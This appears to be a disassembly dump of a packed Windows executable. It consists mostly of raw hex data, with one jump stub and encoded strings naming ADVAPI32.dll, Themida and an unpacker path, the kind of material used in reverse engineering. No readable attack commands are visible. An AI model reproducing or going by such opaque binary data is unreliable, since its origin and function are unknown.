dd 72F2077Dh, 80D9396Ch, 5F9D9ECBh, 73F0E3h, 7CC61A8Dh
dd 0CF21F97Bh, 67870200h, 9922AC7Fh, 0E9B71F23h, 6001C096h
dd 73F97EAFh, 40C70230h, 38AECC8Fh, 4F800ED9h, 0DC6323F4h
dd 0EE06F8D1h, 0B8B74338h, 4A285829h, 9213C507h, 849FF1BFh
dd 0DCA9D40Dh, 2C8BDA00h, 0A5A88C40h, 9D30C067h, 24EF57F9h
dd 0B0C2C00Bh, 8E1E0602h, 10E78B9h, 19980934h, 40B020E2h
dd 393F6134h, 0F92FF500h, 1B336374h, 28A80017h, 0EAE66D5Fh
dd 8003779Ah, 0B689AC7Ch, 0D93900D1h, 0A149DD74h, 9E307FB9h
dd 0F4830A81h, 95470CFCh, 0B299604Fh, 3C0C6100h, 8DBAF63Eh
dd 59690319h, 8A6D667Ch, 1BEFA148h, 0C030EC84h, 786497C3h
dd 0CB2E0CE8h, 6019EDE6h, 9B92AA01h, 4FAEDD5Bh, 95876180h
dd 0B9C6D70Fh, 0ED83681Fh, 0D23E8E40h, 334B148h, 5E1E1901h
dd 33986077h, 24043839h, 47B0E222h, 0D04A9980h, 6F40A8A1h
dd 87B407DDh, 0FCAEDE09h, 1E07D369h, 0CAFF03A9h, 0ED38E4C0h
dd 846B00C8h, 8E1C3931h, 7E023FB0h, 7A5DF60Eh, 0D9887F7Bh
dd 0CA278098h, 0DE3D9AACh, 0D52E4203h, 0B92F59B6h, 71F86250h
dd 6CB800DCh, 2E5A8AC0h, 0E7188F4Fh, 0D741C3B7h, 760900CEh
dd 95FA707Dh, 39019DDCh, 0E2B6CB87h, 2980C9B7h, 72351A23h
dd 0E9608422h, 0A34F04D1h, 1C27002Dh, 0B3732B55h, 1A3C667Ah
dd 9D0CF7BEh, 0E969A42Fh, 0EA9A0E79h, 398068EDh, 0DBC7F997h
dd 0A3522D06h, 695094h, 0D81D199Dh, 0F5C0DF26h, 0D0286C90h
dd 0B10E58B6h, 20B9228Ch, 1D2DAF82h, 0C9B50E96h, 0AC94E223h
dd 77006822h, 8C4C0DB9h, 7416C6h, 79F269BEh, 0CDB045A3h
dd 0F851DDh, 5F7C072h, 0B0C99D0Eh, 0ABB90B6Fh, 7B805BEAh
dd 0A425CCAFh, 0ED0E3C91h, 22122FFAh, 4175D313h, 0B711E238h
dd 0A85980B6h, 7662B3E4h, 735C0071h, 81FD88FFh, 0DBB87A9Dh
dd 3A12DF7Fh, 0E8077520h, 4330FA56h, 0C05D4895h, 2EFFAD69h
dd 0CF7EA11Dh, 0BBE27D00h, 5335F40Eh, 0AF550390h, 5A1D9514h
dd 50BC3140h, 0EEE7CB15h, 873303D0h, 0E70847Ah, 2868D011h
dd 0B10CBC00h, 0EB00DBE5h, 488ECB4Ah, 72C54AEh, 257F9F47h
dd 596486F1h, 0DF601EE2h, 81176D84h, 96C832F0h, 80C0C3F1h
dd 6900272Eh, 7DD8FC86h, 0DF88F266h, 877B4621h, 0B5008175h
dd 353128E9h, 68D419h, 27895C12h, 777C4474h, 0F287273h
dd 0D43C84FCh, 0C60215A2h, 8E5006A8h, 5998C8h, 95060CF8h
dd 137859DAh, 0C71F7B7Bh, 61409B5Dh, 0E5825B68h, 0CFB73031h
dd 92D9BF41h, 5EAFB500h, 6071E4Ch, 0A8274D31h, 89DF5A00h
dd 99E1FE26h, 0C4B05718h, 0CD0A39h, 0FAC2F75Ch, 66A51BEFh
dd 0A20B8CA8h, 0CE00F4E6h, 0A004F618h, 0F62A6A76h, 7F8B0929h
dd 4490C80Eh, 482C0D31h, 9002C79h, 6F84CEA7h, 740A0075h
dd 40EEAADh, 0A903AE27h, 0BA2266C1h, 9361A195h, 24B74193h
dd 0DC388090h, 80003057h, 0A00C3745h, 121B2095h, 1D2141FFh
dd 1D1F408Eh, 0E5BC9B91h, 0D80153h, 0A6B68568h, 48FEC169h
dd 53226CF1h, 0E7BEEC00h, 0DCDDB3CCh, 8FF00EEh, 0EF7A46A3h
dd 0CE09A205h, 98589625h, 4D85B68h, 208D6310h, 49408094h
dd 0CB30814Eh, 9B757182h, 6E63D89h, 39E1DA18h, 74711F1Eh
dd 4A6601Fh, 8DE82740h, 26252DE2h, 0C86A4Fh, 0C740F23Eh
dd 0F148811Dh, 6A73B08h, 86DDCB76h, 15721549h, 0CC438CB9h
dd 5AD62B00h, 0D26A1B7Ch, 8016B83Eh, 0E9AEE72h, 48AA75C6h
dd 7E00AC24h, 67D25850h, 0B1C19FC8h, 0BBF3B211h, 2CC37DECh
dd 2C31206h, 1CBCEE9Eh, 604B5460h, 11C4698Ah, 50F4DC4h
dd 28053E04h, 0DC9C89A4h, 300087A9h, 0E82C1F70h, 621B3E2h
dd 0B7409A4Fh, 0BB0FB9C5h, 407CA37Ah, 0A45EE20Eh, 4424C0Fh
dd 0B73440h, 6B9BF02Ah, 0DDFA669h, 6D004AECh, 0D656F601h
dd 3114DC9h, 95F5B397h, 397A634Bh, 7A253019h, 0C2F84DA8h
dd 3A53001Bh, 0D494A02Bh, 9160C86Dh, 53201F9h, 0DFB0FB2h
dd 6B20D519h, 4BB0A9B7h, 9CC1A48h, 10C9FF9Bh, 1F40768h
dd 0AFEF4F96h, 0EC932386h, 2D4CB5F6h, 89631100h, 0A74F0C78h
dd 49118CCBh, 2A0A4D77h, 9CD60929h, 36F5FD03h, 77E8D924h
dd 40C85F01h, 50B97A18h, 0DBFBA402h, 0C02FDC20h, 7DFDAB0h
dd 25B3B6CCh, 4E17407Dh, 0D83E1C67h, 853EFADDh, 6015B166h
dd 7C607D0Dh, 4C2F0AD5h, 199C3D7Fh, 10EF70B8h, 6092414Dh
dd 6DC30B3h, 0D0A4B696h, 0CF0EC00h, 0B89AE4A6h, 0FFAF069Ch
dd 489F114Ah, 0E09A7DEAh, 0E7E8CC0Fh, 0B7B68010h, 0C026BDDFh
dd 9CFFC50h, 0AB88C9B0h, 19C21F11h, 87F681DBh, 6343147Fh
dd 242200B4h, 66BB5CF8h, 6B8A4F6h, 0C8FC0C11h, 0B001190h
dd 4153BB6Ah, 98875D86h, 75A09020h, 3A192C44h, 3B6E09E4h
dd 0D1D21C99h, 968BE8C0h, 76A73C00h, 40FEE5A2h, 7C730EFFh
dd 0CD77BDCh, 3B87710h, 941B9624h, 90129E02h, 21B0C074h
dd 0F67D00D7h, 0AFD3DF50h, 0B4EA2B66h, 18255Ch, 28AE47DAh
dd 49A5E853h, 12004462h, 8C95B75Ah, 250256E1h, 0CB3DF494h
dd 80C0E6E9h, 0DD13D1h, 0B7B47FD4h, 73F574CEh, 8FF11462h
dd 47BC8095h, 60C8D6DCh, 0BE161999h, 4F00DDAEh, 6BCE0536h
dd 778CC35h, 0B56A87D9h, 0C9FC22D3h, 0F101F044h, 0E151C660h
dd 6FCE77Fh, 0DA2CC045h, 0F643BEFh, 0E9EC0205h, 0CE181E88h
dd 0FE3167A1h, 9972F7h, 0EB0EA747h, 4877C289h, 9C270101h
dd 4391CDB5h, 900AC73h, 349D474Fh, 8012A74h, 2740840Fh
dd 8C504DA4h, 82336Dh, 2F251F39h, 0DD7404E9h, 946F2101h
dd 93027CC8h, 0B638A076h, 4024329Ch, 0F6EB45ADh, 3A003948h
dd 1D200FA1h, 0E68F5E71h, 3D4178F0h, 153EB422h, 0A77FA901h
dd 0F44AEDB6h, 0F626C017h, 0F763FC58h, 1E87B0F9h, 0E2DF0031h
dd 21CB0F8Dh, 4600882Ch, 860E5A14h, 0A6917F5h, 748494BBh
dd 0E3F2808Ch, 916D4EC2h, 8B209900h, 3505FCE5h, 1ADB002Dh
dd 52070F30h, 1D0759F6h, 0F82538A5h, 0C8C47317h, 9B52CA4h
dd 27D70CF1h, 83936484h, 5DB4AA8h, 81F649A0h, 0DFE6B41Fh
dd 0CDCEFB80h, 0AB97C870h, 0D34A88E8h, 0F02096Bh, 1D0CBF01h
dd 2700E859h, 0C3FEAD76h, 5D72E43Ch, 753B2CD7h, 9C1111h
dd 424D1426h, 12F65398h, 20849580h, 0CE48254Ch, 3260C900h
dd 12C5DC22h, 7F843310h, 0F9904121h, 7E5CB6A2h, 516D04A3h
dd 8FC33966h, 18C688F6h
dd 0CC6048A1h, 5900A2Ch, 0C1964FA6h, 49E6CB3Ch, 5D6810A4h
dd 0D7005725h, 113D93ACh, 15E0408h, 0B6225469h, 0ED8DB2EAh
dd 313ECFC8h, 0AFD581E2h, 451229F5h, 3AA5D820h, 8A00F816h
dd 0CADF2D8Ch, 6B0B40ECh, 4F58510h, 0BCC1A7A8h, 0F9D1DC74h
dd 94FB860h, 0EE762F37h, 0B822E081h, 29A5h, 0F47B0A8Ch
dd 0C7F945h, 0DF40713Fh, 0B0397550h, 1BA4CA54h, 0B4146C00h
dd 346BA16Eh, 0E2B105E9h, 0CD238EEDh, 30B3F1DCh, 3B03B7C4h
dd 43E69491h, 1C2C9050h, 0D8E20CA4h, 0DBC87D80h, 1230A07Dh
dd 0DF599001h, 0A63A13BAh, 90BC1FC6h, 2548058Dh, 0EC0046A5h
dd 0F17F339Fh, 609816h, 42068C0Bh, 27834B84h, 3B708D06h
dd 50403873h, 88E8C04Fh, 0A49C0372h, 5C82B865h, 97DC838Ah
dd 66A08ADFh, 795A7068h, 0F7EB0067h, 99CB6A44h, 340CDB0Fh
dd 616FA808h, 3118A0A4h, 0DFB400D6h, 0FA26633Ah, 0CC00E87Dh
dd 0C722E6DCh, 58721759h, 0C79F000Bh, 49874611h, 0DD76B418h
dd 0D0E29701h, 50E30FDFh, 13A459DCh, 221D94E6h, 68818410h
dd 0F0F5DE90h, 1B1FA58Ch, 60A428DCh, 212FDD05h, 5E9E0CCh
dd 0CDE2CEE5h, 9704186h, 0C8F839C5h, 72001445h, 0DCD9D0B8h
dd 14F6349Ah, 9081ACBDh, 0E9C6C2Ch, 4780B2F1h, 58F7EED0h
dd 1CC9529h, 0B0FDFF7Fh, 0
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_53E1CD: ; CODE XREF: start:loc_4E0265j
; DATA XREF: start:loc_4E0086o
jmp loc_541506
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
dw 0B7D0h
dd 1F9h, 69DD0000h, 9Fh, 0A1440000h, 77E7h, 5 dup(0)
dd 0DA290000h, 2FE80058h, 77E8h, 77D4h, 5 dup(0)
dd 940000h, 0
dd 78D10000h, 0C412h, 8 dup(0)
dd 72180000h, 9D330057h, 71FEh, 0FFB00000h, 20Fh, 5 dup(0)
dd 9F70000h, 9Fh, 8 dup(0)
dd 0E6040000h, 10000058h, 7 dup(0)
dd 6A780000h, 0B80000h, 0B000000h, 0C20374C0h, 448B0018h
dd 0E8530C24h, 0
dd 17C3815Bh, 89000000h, 8910245Ch, 5B142444h, 9FA037B8h
dd 8BE0FF00h, 0FF042444h, 0E0h, 14h dup(0)
dd 0A5E70000h, 0A3h, 76AA0000h, 325Dh, 9 dup(0)
dd 0DFC60000h, 10057h, 5 dup(0)
dd 0EB8D0000h, 0FD9Ah, 2 dup(0)
dd 36790000h, 1E44h, 2 dup(0)
dd 1E920000h, 0A1440059h, 0BDB577E7h, 57h, 11h dup(0)
dd 8D130000h, 56h, 0D8A60000h, 0CD60h, 6 dup(0)
dd 25Ah, 3 dup(0)
dd 180B0000h, 77F5h, 0Dh dup(0)
dd 0BB330000h, 53ECh, 11h dup(0)
dd 6C0000h, 2 dup(0)
dd 14340000h, 0
dd 0E5260000h, 0FA6Ah, 4 dup(0)
dd 2BBC0000h, 58h, 0
dd 0B1B30000h, 57h, 0Dh dup(0)
dd 2EB80000h, 7736h, 3 dup(0)
dd 240h, 0
dd 880000h, 75B50000h, 5E3B0000h, 0C96AFFA8h, 3FF77D4h
dd 0
dd 0FEAA0000h, 28E8h, 8 dup(0)
dd 15640000h, 6CB800A0h, 248h, 4 dup(0)
dd 900000h, 9 dup(0)
dd 0A8B50000h, 0FFA8h, 2 dup(0)
dd 0D4440000h, 0FFA7h, 3040000h, 7FFEh, 4 dup(0)
dd 24240000h, 2424h, 2 dup(0)
dd 6B910000h, 1246h, 2FD60000h, 213h, 4 dup(0)
dd 9Eh, 0
dd 90470000h, 67800057h, 58h, 8D8D0000h, 357Ah, 9 dup(0)
dd 0A80000h, 8F8C0000h, 29CD0057h, 0C50h, 2 dup(0)
dd 76CD0000h, 77E7h, 2 dup(0)
dd 8F8C0000h, 57h, 3 dup(0)
dd 3040000h, 7FFEh, 5 dup(0)
dd 0A0370000h, 9Fh, 6 dup(0)
dd 8C0A0000h, 9Fh, 0
dd 3040000h, 7FFEh, 6 dup(0)
dd 10000h, 0
dd 10000000h, 98320040h, 0B9D2h, 69C40000h, 1B1Fh, 2 dup(0)
dd 3040000h, 0FF547FFEh, 12h, 6 dup(0)
dd 0DA5A0000h, 1E78h, 0C3240000h, 0D609h, 4 dup(0)
dd 0A0770000h, 0B1h, 3 dup(0)
dd 6A600000h, 5000h, 9 dup(0)
dd 36030000h, 3044FEDh, 237FFEh, 53h, 3 dup(0)
dd 492B0000h, 0E942h, 6 dup(0)
dd 0E800000h, 2 dup(0)
dd 5ECC0000h, 177DDh, 3 dup(0)
dd 0FFFE0000h, 0FFFFh, 6 dup(0)
dd 0FCFC0000h, 198001h, 2 dup(0)
dd 10C40000h, 3 dup(0)
dd 1C3F0000h, 4D65h, 15680000h, 0A0h, 20000h, 0B2610000h
dd 34D8AE1Bh, 1FA8h, 10h dup(0)
dd 6EF60000h, 3 dup(0)
dd 22B90000h, 0F7320FACh, 56h, 0
dd 93930000h, 9Fh, 10h dup(0)
dd 40h, 3 dup(0)
dd 0FF6E0000h, 5E9BFA7Bh, 59h, 0
dd 0FFFF0000h, 0A9F3FFFFh, 0F62B14ADh, 0FF6E0056h, 0FA7Bh
dd 0Ah dup(0)
dd 915B0000h, 0F732009Fh, 56h, 2 dup(0)
dd 3F660000h, 2 dup(0)
dd 0FF540000h, 0
dd 20910000h, 54h, 2 dup(0)
dd 5FF00000h, 62980000h, 1C000000h, 5FF10057h, 0FF60h
dd 0
dd 56430000h, 6 dup(0)
dd 49CE0000h, 1B8h, 0
dd 3040000h, 0B6A3h, 29h dup(0)
dd 858C0000h, 797h, 2 dup(0)
dd 10000h, 0FC6A0000h, 8585h, 0
dd 6BB80000h, 5Ah, 0
dd 7A74B4E3h, 0F868h, 5Fh dup(0)
dd 3040000h, 0E2CA7FFEh, 53h, 3040000h, 7FFEh, 7 dup(0)
dd 0FFE00000h, 12h, 6 dup(0)
dd 0BAE10000h, 0A2FDh, 3 dup(0)
dd 56430000h, 0
dd 6EF60000h, 2 dup(0)
dd 3040000h, 7FFEh, 8F9E0000h, 6CB0057h, 8 dup(0)
dd 6EF60000h, 3 dup(0)
dd 174C0000h, 0B512h, 0F5B60000h, 2 dup(0)
dd 29F90000h, 6F68h, 6 dup(0)
dd 0A80000h, 7 dup(0)
dd 0BBC80000h, 3040058h, 189A7FFEh, 77DDh, 2 dup(0)
dd 2EB0000h, 3E3B1D8Bh, 9Fh, 8 dup(0)
dd 1B400000h, 76B4h, 4 dup(0)
dd 0A00F0000h, 7FFEh, 5 dup(0)
dd 0A00F0000h, 9Fh, 15h dup(0)
dd 8D4B0000h, 8 dup(0)
dd 0A6E90000h, 77EBh, 8 dup(0)
dd 42EC0000h, 8B44h, 3 dup(0)
dd 0C0000h, 240h, 7 dup(0)
dd 0C0FC0000h, 0FABh, 3 dup(0)
dd 0A8950000h, 0E7B0FD89h, 3 dup(0)
dd 7D950000h, 5Ah, 7 dup(0)
dd 3B20000h, 28960054h, 57h, 0
dd 72980000h, 0
dd 6CA20000h, 7919h, 8 dup(0)
dd 6EF60000h, 2 dup(0)
dd 0A6940000h, 0BBC8FFFFh, 58h, 2 dup(0)
dd 59640000h, 3040058h, 7FFEh, 33110000h, 0
dd 4A1E0000h, 58h, 0
dd 30DF0000h, 6508A9C5h, 69DD1E78h, 9Fh, 3 dup(0)
dd 0C1E10000h, 1, 4 dup(0)
dd 36360000h, 0FE283636h, 0FFBFh, 0Dh dup(0)
dd 67530000h, 7940h, 0F62B0000h, 56h, 3040000h, 7FFEh
dd 500000h, 0FDE0h, 5 dup(0)
dd 5E2E0000h, 9Fh, 0FF980000h, 0EB6CFFFFh, 57h, 2 dup(0)
dd 3B510000h, 58h, 0
dd 9D50000h, 0E526FFA9h, 0FA6Ah, 0
dd 0E7C0000h, 7FFEh, 5E050000h, 59h, 2 dup(0)
dd 36330000h, 5Ah, 0E5260000h, 0FA6Ah, 6 dup(0)
dd 858C0000h, 797h, 0C6000000h, 3, 2 dup(0)
dd 9C370000h, 9Fh, 5 dup(0)
dd 0FCFC0000h, 0FFFFh, 0
dd 10000h, 2 dup(0)
dd 37C60000h, 7DEBh, 7 dup(0)
dd 0FFB00000h, 3A0022Fh, 0
dd 3040000h, 7FFEh, 2 dup(0)
dd 60020000h, 8280h, 2 dup(0)
dd 0AC5E0000h, 0FF9877E7h, 0FFFFh, 2 dup(0)
dd 26960000h, 0
dd 59740000h, 8655h, 3 dup(0)
dd 0CE30000h, 0EE54h, 409D0000h, 6D1h, 2D7B0000h, 0FFFFh
dd 5 dup(0)
dd 0B7170000h, 3210FFFEh, 133h, 5 dup(0)
dd 3F600000h, 2 dup(0)
dd 99950000h, 0A3h, 3 dup(0)
dd 0FF6E0000h, 49840000h, 5Ah, 1F80000h, 77FFh, 3 dup(0)
dd 8F8C0000h, 57h, 2 dup(0)
dd 858C0000h, 797h, 248h, 2 dup(0)
dd 34300000h, 312Dh, 0
dd 0D37C0000h, 33930059h, 5C18h, 0
dd 40000h, 0DB20000h, 34E4h, 277A0000h, 0ED0E0001h, 53h
dd 69DD001Ch, 9Fh, 67940000h, 7FFFh, 69DD0000h, 9Fh, 9DF20000h
dd 0ED0E0057h, 53h, 2 dup(0)
dd 40E50000h, 59h, 5910000h, 77E8h, 6EF60000h, 0B70D0000h
dd 519Eh, 0
dd 8C0000h, 0
dd 858C0000h, 797h, 0
dd 41A10000h, 0D431D89Eh, 0EBB0h, 2 dup(0)
dd 190000h, 0E294h, 0
dd 1BFD0000h, 6 dup(0)
dd 1B2B0000h, 77F5h, 0
dd 4ACC0000h, 0B4E3h, 2 dup(0)
dd 3040000h, 7FFEh, 0
dd 0B7E30000h, 6257h, 28BE0000h, 57h, 304F038h, 68547FFEh
dd 64696D65h, 61h, 1Eh dup(0)
dd 73440000h, 21680059h, 77E8h, 0
dd 7930000h, 58h, 0E7BE0000h, 0FCE1h, 5 dup(0)
dd 3040000h, 7FFEh, 0
dd 8D8D0000h, 0BA18h, 0D0000000h, 0Dh, 4 dup(0)
dd 0A6950000h, 0FFFFh, 2 dup(0)
dd 3040000h, 7FFEh, 0B3A60000h, 0FF6EFFA5h, 0FA7Bh, 5 dup(0)
dd 0FFF00000h, 12h, 4 dup(0)
dd 8F890000h, 8F6B0056h, 56h, 4 dup(0)
dd 3A430000h, 4E49575Ch, 53574F44h, 7379535Ch, 336D6574h
dd 44415C32h, 49504156h, 642E3233h, 6C6Ch, 3Ch dup(0)
dd 3A430000h, 755F6D5Ch, 6361706Eh, 72656Bh, 7Ch dup(0)
dd 0A9A80000h, 9CFFFFh, 4 dup(0)
dd 70740000h, 0FFA8h, 2 dup(0)
dd 7A6E0000h, 3, 6 dup(0)
dd 0C3AD0000h, 0B9408063h, 5Ah, 0A88B0000h, 1444h, 0
dd 9CBB0000h, 57h, 0B80000h, 3 dup(0)
dd 0ADF90000h, 0C7h, 0
dd 2A360000h, 0A3370000h, 8D8D0057h, 32684B70h, 87F900A0h
dd 58h, 0
dd 3040000h, 7FFEh, 0
dd 38E80000h, 84D0h, 0BC540000h, 0CB45h, 0Eh dup(0)
dd 68540000h, 1B2B00AEh, 0D590110h, 0FF54005Bh, 12h, 21210000h
dd 0B5E22121h, 0
dd 3040000h, 58h, 0Ah dup(0)
dd 840000h, 6 dup(0)
dd 0E5260000h, 49C6FA6Ah, 0B5E3h, 3E8C0000h, 7F5D005Bh
dd 3259h, 4 dup(0)
dd 5CB50000h, 77E7h, 7 dup(0)
dd 3B20000h, 92340054h, 0C5E1009Fh, 58h, 5 dup(0)
dd 2A100000h, 58h, 5 dup(0)
dd 15CA0000h, 59h, 0
dd 0FC4E0000h, 0FFABh, 5 dup(0)
dd 0CCA00000h, 5E3B0000h, 0FFA8h, 8 dup(0)
dd 0A5A40000h, 57h, 3 dup(0)
dd 740000h, 0
dd 8C0A0000h, 0C08F009Fh, 57h, 0BA730000h, 21C8h, 2 dup(0)
dd 0E5260000h, 3B90FA6Ah, 0E024007Ah, 0FE9Eh, 45940258h
dd 0B2D1h, 0
dd 1F9C0000h, 0
dd 0BC540000h, 0CB45h, 13h dup(0)
dd 0B6h, 0
dd 44380000h, 0FFA7h, 12h dup(0)
dd 7EB30000h, 0F7ECh, 0
dd 3040000h, 7FFEh, 0D8730000h, 3E683681h, 69DD77E8h, 9Fh
dd 0
dd 0FF7F0000h, 0FFFFh, 5 dup(0)
dd 6CE10000h, 809Dh, 3 dup(0)
dd 0DA310000h, 5718h, 0
dd 215B0000h, 0FFA8h, 3 dup(0)
dd 23E80000h, 0A0h, 5 dup(0)
dd 1B6B0000h, 8B2Dh, 2 dup(0)
dd 0E5260000h, 0FA6Ah, 967F0000h, 77FFh, 0B1h dup(0)
dd 2FA50000h, 5Bh, 0E5260000h, 0FA6Ah, 6 dup(0)
dd 7380000h, 0FA28h, 16h dup(0)
dd 72180000h, 57h, 3 dup(0)
dd 120B0000h, 23D70010h, 77DDh, 8 dup(0)
dd 6A2E0000h, 2F0777E7h, 0FFFF0059h, 0FFFFh, 3 dup(0)
dd 40000h, 14240000h, 6CB8FFA9h, 248h, 0E8B50000h, 9F28h
dd 4 dup(0)
dd 0A1FE0000h, 0AFh, 75A10000h, 2B5Fh, 6 dup(0)
dd 0FFFF0000h, 7FFFh, 2 dup(0)
dd 0B5E20000h, 8A0Fh, 3 dup(0)
dd 9D50000h, 0F1D3FFA9h, 6284h, 8A9A0000h, 0DD4Fh, 2 dup(0)
dd 40000h, 2 dup(0)
dd 0B6730000h, 1FEFh, 10h dup(0)
dd 15680000h, 0A0h, 3 dup(0)
dd 0ADh, 3 dup(0)
dd 0FFB00000h, 21Fh, 0FFB00000h, 9E3B020Fh, 0FE6005Ah
dd 9Eh, 0
dd 37B90000h, 7DFB7008h, 0FFA6h, 2 dup(0)
dd 4C5A0000h, 5Ah, 0
dd 0A9800000h, 59h, 2 dup(0)
dd 5DA90000h, 76AEh, 9DBF0000h, 99FFh, 2C460000h, 0FEC1h
dd 0A40000h, 0
dd 0A3DD0000h, 0FFA6h, 2 dup(0)
dd 9Eh, 0A00F0000h, 7FFEh, 5 dup(0)
dd 16890000h, 0FFA8h, 5 dup(0)
dd 69DD0000h, 858C009Fh, 797h, 22920000h, 9Fh, 6A020000h
dd 3D43h, 4 dup(0)
dd 0FFA40000h, 12h, 2 dup(0)
dd 14A90000h, 1B23h, 9E80000h, 8 dup(0)
dd 49540000h, 674Bh, 81h dup(0)
dd 0ADFE0000h, 77D6h, 2BDE0000h, 0E66B009Fh, 58h, 3 dup(0)
dd 858C0000h, 797h, 84AC77DDh, 4696EF99h, 0A3D2h, 3EC0000h
dd 6BCE0000h, 248h, 2 dup(0)
dd 0E2700000h, 0A693h, 5 dup(0)
dd 25640259h, 0F245h, 5 dup(0)
dd 0E90000h, 4, 3 dup(0)
dd 0A00000h, 0FFEDh, 5C800000h, 0F343h, 10000h, 9 dup(0)
dd 0BC540000h, 0CB45h, 2 dup(0)
dd 7DBB0000h, 0D7060DE4h, 77E6h, 2 dup(0)
dd 0C4860000h, 77E7h, 0Ah dup(0)
dd 0BC2F0000h, 0CB45h, 0
dd 3040000h, 7FFEh, 0
dd 10000h, 230000h, 53h, 3 dup(0)
dd 0A6090000h, 59F00000h, 77DDh, 0
dd 3040000h, 7FFEh, 0A13F0000h, 0D1BF77E7h, 2CB5h, 9 dup(0)
dd 77E6h, 2 dup(0)
dd 980000h, 3040000h, 3CA37FFEh, 5Ah, 12h dup(0)
dd 0FF540000h, 12h, 2 dup(0)
dd 60090000h, 99BD005Ah, 1B9C117Eh, 54h, 0
dd 7C9D0000h, 5Ah, 18h dup(0)
dd 3040000h, 7D17FFEh, 0
dd 858C0000h, 3040797h, 7FFEh, 0E4EB0000h, 0C7h, 1B760000h
dd 0CCA00058h, 5Ah, 3 dup(0)
dd 28E60000h, 57h, 7 dup(0)
dd 6C960000h, 401Bh, 93EF0000h, 77E7h, 2 dup(0)
dd 230000h, 54h, 3 dup(0)
dd 1050000h, 0A28h, 3 dup(0)
dd 3A00000h, 0
dd 0A00F0259h, 9Fh, 3 dup(0)
dd 8E180000h, 0AF7Ah, 9 dup(0)
dd 10000h, 5 dup(0)
dd 3040000h, 7FFEh, 69DD0000h, 9Fh, 5 dup(0)
dd 0FFFF0000h, 0FFFFh, 0
dd 1B590000h, 54h, 0
dd 7D990000h, 5Ah, 0
dd 7C0000h, 31540000h, 0A0h, 0
dd 0B5C0000h, 77A5h, 3 dup(0)
dd 61CD0000h, 0C02h, 0F8120000h, 1D82h, 0
dd 0FF1C0000h, 12h, 1Eh dup(0)
dd 293B0000h, 8746h, 0
dd 0BBC80000h, 0FF6E0058h, 14FA7Bh, 0Eh, 0
dd 6B150000h, 5Bh, 6 dup(0)
dd 263D0000h, 0FF6E0057h, 0F62BFA7Bh, 56h, 0
dd 3040000h, 7FFEh, 6 dup(0)
dd 3040000h, 7FFEh, 70AC0000h, 9Fh, 5A030000h, 15738818h
dd 118Dh, 4 dup(0)
dd 553C0000h, 42h, 4 dup(0)
dd 0FFB00000h, 0FA56015Fh, 9Fh, 0
dd 731C0000h, 94997FFFh, 9Fh, 0
dd 15CA0000h, 31450059h, 9Fh, 2 dup(0)
dd 2B550000h, 5139h, 5 dup(0)
dd 10000h, 3E0000h, 9F3C009Eh, 2FFFFh, 2 dup(0)
dd 57D70000h, 7A900058h, 5Ah, 4 dup(0)
dd 6EB0000h, 9BDF0288h, 3 dup(0)
dd 387A0000h, 0C2DCh, 8B820000h, 492B77E7h, 0E942h, 5 dup(0)
dd 38DC0000h, 0FCFCEAEEh, 8001h, 199A0288h, 6E86h, 0Ch dup(0)
dd 3040000h, 7FFEh, 3 dup(0)
dd 0F7270000h, 72ED0058h, 0FFA9h, 7 dup(0)
dd 6EF60000h, 65FB0000h, 5Ah, 840000h, 0Ah dup(0)
dd 4E480000h, 6832h, 0
dd 0CCA00000h, 5Ah, 9 dup(0)
dd 0C3EE0000h, 66F9h, 8F3C0000h, 0A837FF60h, 77E7h, 99800000h
dd 8000h, 8D8D0000h, 9C90h, 4 dup(0)
dd 2B0000h, 4 dup(0)
dd 10000h, 0
dd 4EB0000h, 0
dd 0A6940000h, 0FFFFh, 0
dd 1Ah, 0
dd 0F1950000h, 65527F46h, 72617473h, 70704174h, 6578652Eh
dd 0
dd 858C0000h, 797h, 0
dd 0EBB30000h, 77F7h, 2 dup(0)
dd 10000h, 4 dup(0)
dd 97390000h, 69DD56B7h, 7C84009Fh, 5CCh, 24h dup(0)
dd 0E1070000h, 59h, 70C40000h, 0CBF3009Fh, 9 dup(0)
dd 0A0800000h, 0FFA5h, 0
dd 0FFC40000h, 12h, 2 dup(0)
dd 6180000h, 0FFFF77E8h, 0Bh dup(0)
dd 0B1340000h, 7A9000A1h, 5Ah, 7 dup(0)
dd 23E80000h, 0A0h, 0FFB00000h, 1572014Fh, 0A7F2118Dh
dd 0FFA8h, 3040000h, 0EF47h, 0A0A80000h, 7C7Ah, 4 dup(0)
dd 5D0000h, 39014Eh, 0
dd 8F8C0000h, 57h, 3 dup(0)
dd 90370000h, 57h, 0
dd 6A170000h, 5Ah, 0
dd 22220000h, 22222222h, 2222h, 3 dup(0)
dd 0F6750000h, 0FFA6h, 9BAC0000h, 30DF00A1h, 304A9C5h
dd 7FFEh, 2 dup(0)
dd 6EF60000h, 0ED320000h, 73161A3Ch, 0A1h, 5D7A0000h, 59h
dd 0
dd 5D80000h, 77E8h, 0
dd 3040000h, 0C6137FFEh, 7FD8005Ah, 0A1h, 3 dup(0)
dd 25Bh, 8B820000h, 12A377E7h, 8056h, 0
dd 3040000h, 7FFEh, 0Dh dup(0)
dd 48300000h, 4 dup(0)
dd 8F8C0000h, 57h, 4 dup(0)
dd 0AC0000h, 3 dup(0)
dd 872A0000h, 18Fh, 2Bh dup(0)
dd 0C3E0000h, 7 dup(0)
dd 2FA50000h, 49B4005Bh, 0CE20005Ah, 6000005Ah, 3, 3 dup(0)
dd 8D8D0000h, 7F79h, 4 dup(0)
dd 21680000h, 0C96A0002h, 939377D4h, 9Fh, 0A8450000h, 58h
dd 0
dd 0FBD40000h, 0FFB00057h, 1EFh, 7 dup(0)
dd 0C3AD0000h, 3048063h, 7FFEh, 69DD0000h, 9Fh, 0
dd 6CB80000h, 248h, 0
dd 0B03C0000h, 59h, 98DB0000h, 5Ah, 6 dup(0)
dd 6EF60000h, 3 dup(0)
dd 6E720000h, 79632F21h, 77E7h, 68DE0000h, 0BA76h, 0Ah dup(0)
dd 78960000h, 5E6215CEh, 0A00F0059h, 7FFEh, 4 dup(0)
dd 2FE80000h, 77E8h, 0B1CA0000h, 0B1B300ADh, 0FF6E0057h
dd 0F62BFA7Bh, 56h, 3 dup(0)
dd 2E0F0000h, 77F5h, 4 dup(0)
dd 0FC4E0000h, 0FFABh, 2 dup(0)
dd 3E680000h, 2, 0Bh dup(0)
dd 5CB50000h, 77E7h, 7B720000h, 5Ah, 3 dup(0)
dd 0DA5A0000h, 2E5F1E78h, 5Ah, 8 dup(0)
dd 33330000h, 2 dup(33333333h), 11B63333h, 6868h, 0
dd 0C92D0000h, 0FFFFh, 2 dup(0)
